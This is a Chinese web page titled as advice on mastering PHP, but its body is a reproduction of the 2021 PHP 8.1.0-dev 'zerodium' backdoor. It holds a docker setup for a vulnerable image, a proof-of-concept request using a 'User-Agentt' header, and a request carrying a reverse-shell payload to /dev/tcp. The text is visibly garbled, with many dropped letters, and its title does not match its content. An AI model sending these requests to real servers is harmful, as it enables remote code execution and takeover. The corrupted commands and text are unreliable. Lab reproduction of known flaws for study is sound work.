当前位置：首页 > 每日看点

怎样深入学习php，成为php高手？

卡卷网1年前 (2025-01-01)每日看点248

简介

PHPverion8.1.0-dev于2021年3月28与后门一起发布，但是后门很快被发现并删除。

#漏洞概述

PHPverion8.1.0-dev的PHP在上运行，则攻击者可以通过发送User-Agentt标头执行任意代码。

#影响版本

PHP8.1.0-dev

#环境搭建

新建docker-compose.yml

version:'2' servs: we: image:vulhu/php:8.1-ackdoor volumes: -./index.php:/var/www/html/index.php ports: -"8080:80"

启动环境

docker-composeup-d

#漏洞复现

#poc验证

在header头增加user-agentt字段，值为：zerodiumvar_dump(2*3);

GET//1.1 Host:192.168.81.223:8800 Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 user-agentt:zerodiumvar_dump(2*3); Connection:close

如果执行了这个表达式，说明存在漏洞

#执行命令反弹shell

GET//1.1 Host:192.168.81.223:8800 Praa:no-cache Cache-Control:no-cache Upgrade-Insece-Requests:1 User-Agent:Mozilla/5.0(WindowsNT10.0;Win64;x64)AppleWeKit/537.36(KHTML,likeGecko)Chrome/91.0.4472.77Safari/537.36 Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/if,image/wep,image/apng,*/*;q=0.8,application/signed-exchange;v=3;q=0.9 Accept-Encoding:gzip,deflate User-Agentt:zerodium("ash-c'execash-i>&/dev/tcp/ip/66660>&1'"); Accept-Language:zh-CN,zh;q=0.9,en;q=0.8,zh-TW;q=0.7,en-US;q=0.6 Connection:close

#事件分析与反思

代码中含有”zerodium”字符串，而zerodium是一个专门漏洞的.在此事件中，怀疑黑客攻陷了://git.php.net，以PHP作者的名义做了两次代码提交。

#参考文章

s://log.dn.net/zy15667076526/article/details/116447864

扫描二维码推送至手机访问。

版权声明：本文由卡卷网发布，如需转载请注明出处。

本文链接：https://www.kajuan.net/ttnews/2025/01/6068.html

分享给朋友：

相关文章

为什么程序员不自己开发微信小程序这类似的东西赚钱？

为什么程序员不自己开发微信小程序这类似的东西赚钱？

你如果有好的想法是可以挣钱的 首先大家说的个人资质限制确实多，也不建议直接拿个人资质去用小程序盈利，因为很麻烦 我说一下我的大体操作： 1.首先去申请个体户，这个可以用住宅来注册申请，而且速度很快就几天就下来了，经营类目主要是互联网销售这些…

你有突破100个粉丝了吗？

你有突破100个粉丝了吗？

100粉已经过啦！ 说说怎么过的吧，最开始疯狂的写回答，写想法，关注人数在50几以下持续有两周多，每天都关注变化，都是个位数增长，后来干脆不看了。 到第三周时突然一周增长了100多人，一天十几人，想想应该归功于多互动，给他人点赞评论，让自己…

为什么大家不再提 5G 了？

现在看来，只有美国那种5g的思路是对的。 美国的运营商一开始就发现5g和4g并没有质的飞跃，无非就是提升频率/降低穿透力/提升带宽的故事。而美国运营商又是自负盈亏，因此一开始就仅在人口高密度地区或富裕地区布置5g。 虽然说人家4g也菜，但是…

网易云音乐上看到过最触动的热评是什么？

网易云音乐上看到过最触动的热评是什么？

1. “昨天晚上洗澡的时候，我忘记拿毛巾了，喊了声妈妈帮我拿下毛巾， 正当我伸出左手准备接毛巾的时候，我愣了一下，又换了右手。” 希望你永远不会听懂这句话， 永远都不要懂。 ——网易云热评《关键词》 2. 小时候跟着父亲去城里卖西瓜，害…

为什么这次 Mac mini 的 M4 版本价格这么低？

为什么这次 Mac mini 的 M4 版本价格这么低？

扫了一眼这里的回答，目测没几个人真买过 Macbook、Mac mini且真正当主力工作机用过。 这个初始(丐版)版本的机器实际谈不上多便宜，备受热捧有几个原因。 它这代产品整体做了重新设计，大幅缩减了尺寸，真正称得上 Mini 了。…

在追求家居美学的过程中，如何选择一款电视机，使其既具备出色的音画质又能与家居装饰相得益彰？

在追求家居美学的过程中，如何选择一款电视机，使其既具备出色的音画质又能与家居装饰相得益彰？

先看照片，你就说美不美吧？ 我家这个40平的客厅东西放得不少，其中最提升观感的是各种灯光，在这么多灯光中，是不是第一眼视觉中心就落在了电视上？没错，因为这电视是非常特别的环景光电视，与显示器的神光同步一样，会随着画面的变化而变化不同的光…

发表评论

访客

看不清，换一张

◎欢迎参与讨论，请在这里发表您的看法和观点。

Copyright © 2019-2024 www.kajuan.net 版权所有

Powered By Z-BlogPHP. Theme by TOYEAN.